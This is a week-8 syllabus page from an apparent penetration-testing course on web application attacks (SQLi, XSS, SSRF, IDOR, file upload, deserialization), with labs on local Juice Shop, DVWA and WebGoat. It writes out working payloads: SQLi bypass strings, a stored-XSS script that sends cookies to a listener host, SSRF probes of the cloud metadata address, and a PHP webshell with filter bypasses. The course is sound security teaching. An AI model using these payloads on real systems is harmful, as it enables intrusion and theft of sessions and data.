Classroom Glossary Public page

Week 8: Exploitation II -- Web Application Attacks

1,588 words

SQL injection, XSS, SSRF, IDOR, file upload, and deserialization are the attack classes that automated scanners flag but frequently fail to exploit. This week you work them manually first, then with tools. Manual first is the discipline: you understand what the attack does before you automate it.

Reading (~1.5 hr)

Required:

  • WAHH (Stuttard + Pinto), Chapters 9-10 ("Attacking Data Stores" and "Attacking Back-End Components"). These are the WAHH chapters on SQL injection and SSRF/file-inclusion. ~60 pages; dense but the canonical reference.
  • WAHH, Chapter 12 ("Attacking Users" -- XSS and CSRF). ~30 pages.
  • OWASP Juice Shop companion (the application has a score board accessible at /#/score-board; use it to confirm your attack succeeded, not to get hints before you try).

Supplementary:

  • OWASP Testing Guide v4.2, OTG-INPVAL (input validation testing): SQL injection, XSS, SSRF, file upload. Each section covers the manual test approach.
  • Weidman, Penetration Testing, Chapter 14 ("Web Application Testing"): Burp Proxy, SQL injection with sqlmap, XSS, CSRF. ~30 pages.

Lecture outline (~1 hr)

Part 1: SQL injection -- the mechanic and the manual approach (20 min)

SQL injection (SQLi) occurs when user-supplied input is interpolated into a SQL query without sanitization. The input changes the query's structure.

The canonical payload:

A login form that constructs:

SELECT * FROM users WHERE username='[input]' AND password='[input]';

With input ' OR '1'='1:

SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1';

The OR '1'='1' always evaluates to true; the WHERE clause matches all rows; the first user (often the admin) is returned.

WAHH's manual approach: Before running sqlmap, WAHH Chapter 9 describes identifying SQLi manually:

  1. Submit a single quote ' as input. If the application returns an error referencing SQL syntax, it is interpolating your input directly. If it returns a generic error or no response change, it may be encoded.
  2. Submit ' OR '1'='1 vs. ' OR '1'='2. If the application returns different results, it is evaluating your SQL.
  3. Submit '; SELECT SLEEP(5)-- (MySQL) or '; WAITFOR DELAY '0:0:5'-- (MSSQL). If the response delays five seconds, you have blind time-based SQLi.

Manual vs. sqlmap: sqlmap automates the above with dozens of payloads across six detection techniques (error-based, boolean-based blind, time-based blind, union-based, stacked queries, inline). Manual first teaches you what sqlmap is doing and why. Running sqlmap against a target you have not manually confirmed is injectable generates noise and may take an hour on a false positive.

# sqlmap after manual confirmation:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
       --cookie="PHPSESSID=<your session>; security=low" \
       --dbs  # enumerate databases

Part 2: Cross-site scripting (XSS) (15 min)

XSS occurs when user-supplied input is rendered as HTML or JavaScript in a page served to other users (stored XSS) or back to the attacker (reflected XSS).

Reflected XSS: The payload is in the URL or form submission; it is reflected in the response and executes in the attacker's browser when they visit a crafted link. Impact: session hijacking (if the cookie is not HttpOnly), phishing, DOM manipulation.

<!-- Basic reflected XSS test payload -->
<script>alert(document.domain)</script>

If this returns an alert box showing the domain, reflected XSS is confirmed. (Juice Shop and DVWA disable HttpOnly on their session cookies deliberately, making cookie-theft practical in lab.)

Stored XSS: The payload is stored in the application (comment, profile field, message) and executes in the browser of any user who views the page. Higher severity: affects all users, not just those who click a crafted link.

<!-- Stored XSS payload for cookie theft -->
<script>
  document.write('<img src="http://<your-kali-ip>:8000/steal?c=' + document.cookie + '">');
</script>

Listen on Kali to capture the exfiltrated cookie:

python3 -m http.server 8000
# watch access log for the ?c= parameter

Part 3: SSRF, IDOR, file upload, and deserialization (25 min)

SSRF (Server-Side Request Forgery): The application makes HTTP requests on behalf of the user. If the URL is user-controlled, an attacker can direct the application to make requests to internal services.

Test by submitting:

url=http://127.0.0.1:8080/admin
url=http://169.254.169.254/latest/meta-data/  # AWS metadata service

HP3 Chapter 3 covers modern SSRF variants (out-of-band, XML-based, redirect chains) in the red-team context. The lab exercise uses the basic form.

IDOR (Insecure Direct Object Reference): The application uses a predictable, user-accessible identifier to reference resources. Change the identifier in the request to access someone else's resource.

GET /api/v1/user/profile?id=1001
# Change to:
GET /api/v1/user/profile?id=1002

If the response returns a different user's data without an authorization check, that is IDOR. IDOR findings frequently score CVSS 5-8 depending on the data exposed; they are common and often underweighted relative to their business impact (they expose customer data).

File upload: Applications that accept file uploads are potential vectors for uploaded webshells.

Simple PHP webshell:

<?php system($_GET['cmd']); ?>

Save as shell.php. Submit to the upload form. If the application stores the file in a web-accessible directory and serves it with PHP execution, browse to it:

http://target/uploads/shell.php?cmd=id

Applications may filter by file extension (rename to .php5, .phtml, .php.jpg), by MIME type (spoof Content-Type: image/jpeg), or by magic bytes (prepend a JPEG magic byte before the PHP code). The DVWA file-upload challenge exercises these bypasses across its Low/Medium/High security levels.

Deserialization: Applications that deserialize user-controlled data may execute arbitrary code if the serialization format is not validated. Java (ysoserial), PHP (PHPGGC gadget chains), and Python pickle are common targets. This is a stretch topic for PEN-101; Lab 8 exposes you to the class via WebGoat's deserialization lesson without requiring you to construct a gadget chain from scratch.

Lab 8: Web-Application Exploitation (~5 hr, graded)

See labs/lab-8-webapp-exploitation.md for the full lab.

Targets: OWASP Juice Shop (primary) + OWASP WebGoat (secondary).

Authorization note: Both targets run in Docker on your local Kali VM. Do not apply these attacks to any external system.

Required exercises (Juice Shop):

  1. SQLi: Login bypass. Find the Juice Shop login form and bypass it with SQL injection without knowing any valid credentials. Document: the payload, the request (paste the Burp Repeater view), the response confirming success.

  2. Reflected XSS. Find a reflected XSS vulnerability in Juice Shop. Document: where the injection point is, the payload, and a screenshot showing the XSS executing (alert box or DOM manipulation).

  3. IDOR: Access another user's order history. Juice Shop has a REST API endpoint for order history. Enumerate other users' orders by changing the user identifier. Document: the endpoint, the identifier pattern, and the response showing data you should not have access to.

  4. File upload: Upload a malicious file. Find the Juice Shop file upload feature. Attempt to upload a PHP webshell. Note what the application does to prevent it. Attempt at least one bypass technique. Document: what protection was in place, what bypass you tried, and whether it succeeded.

  5. SSRF. Juice Shop has an SSRF vulnerability in its image-loading functionality. Find the endpoint and demonstrate that you can force the server to make an HTTP request to an internal address. Document: the vulnerable parameter, the payload, and evidence of the server-side request.

Required exercises (WebGoat):

  1. SQL injection (WebGoat lesson). Complete the WebGoat SQL injection lesson. Instead of just clicking through, run each step manually first using Burp Suite, then verify with the lesson's check. Document your manual payloads.

  2. Deserialization (WebGoat lesson). Complete the WebGoat insecure deserialization lesson. Document what the vulnerable code was doing and what class of objects was being deserialized unsafely.

Deliverable: A lab report with one section per exercise. Each section: the vulnerability class (SQLi, XSS, etc.), the specific injection point or endpoint, the payload used, a screenshot of the successful attack, and a one-paragraph description of the business impact in client-addressable language.

Independent practice (~3 hr)

  • Juice Shop score board (1.5 hr): The Juice Shop score board at /#/score-board lists all 100+ challenges. After completing Lab 8, work three additional challenges of your choice from the 3-star (medium) tier. Document each as a brief lab-report-style entry.
  • sqlmap advanced flags (0.5 hr): Run sqlmap with --level=3 --risk=2 against DVWA's SQLi challenge. Note how the output differs from the default run. What is --level controlling? What is the trade-off of raising it on a real engagement?
  • Reflection (1 hr): Write the reflection prompts below.

Reflection prompts

  1. The Juice Shop's SQL injection login bypass did not require a password. What does this tell you about where in the application the authentication logic was failing? At what layer should input validation for SQL injection happen, and at what layer was it failing in this case?

  2. You successfully uploaded a PHP webshell to DVWA at security level Low. At security level Medium, the application checks the MIME type. At security level High, it also checks the file extension. Describe in order the defense layers a production application should implement to prevent malicious file uploads, starting from the most fundamental. What is the irreducible minimum that, if absent, makes all other defenses defeatable?

  3. An IDOR vulnerability exposes order data for 50,000 customers. The order data includes names, addresses, and item descriptions but not payment card numbers. The CVSS base score for this finding is 5.3 (Medium). Write the business-impact sentence for the executive summary of a real engagement report. Does the CVSS score communicate the business risk adequately in this case? Why or why not?

Toolchain Diary: Week 8 additions

  • sqlmap -- Automated SQL injection tool. Covers six detection techniques across GET/POST/cookie parameters. Run sqlmap --help for the full option list. The --dbs, --tables, --dump flags enumerate and extract data from confirmed-injectable parameters.
  • Burp Suite Repeater -- The Burp feature used most in web exploitation: send a request, modify it manually, send again, compare responses. Used for manual SQLi, XSS, IDOR confirmation before scripting anything.
  • Burp Suite Intruder -- Burp's built-in fuzzer. Community Edition is rate-limited; adequate for IDOR ID enumeration (sequential integers) and basic credential stuffing.
  • OWASP Juice Shop -- Modern intentionally vulnerable web application. 100+ challenges covering OWASP Top 10. The score board (/#/score-board) gamifies the attack surface.
  • OWASP WebGoat -- Java-based lesson-mode intentionally vulnerable application. More structured than Juice Shop; covers deserialization, access control, SQL injection in guided-lesson format.

What's next

Week 9 is the post-exploitation phase: assuming you now have a shell on a target, what next? Privilege escalation takes you from a low-privilege service account to root or SYSTEM. LinPEAS and WinPEAS automate the enumeration of escalation paths; the lecture teaches you to read their output, not just run them.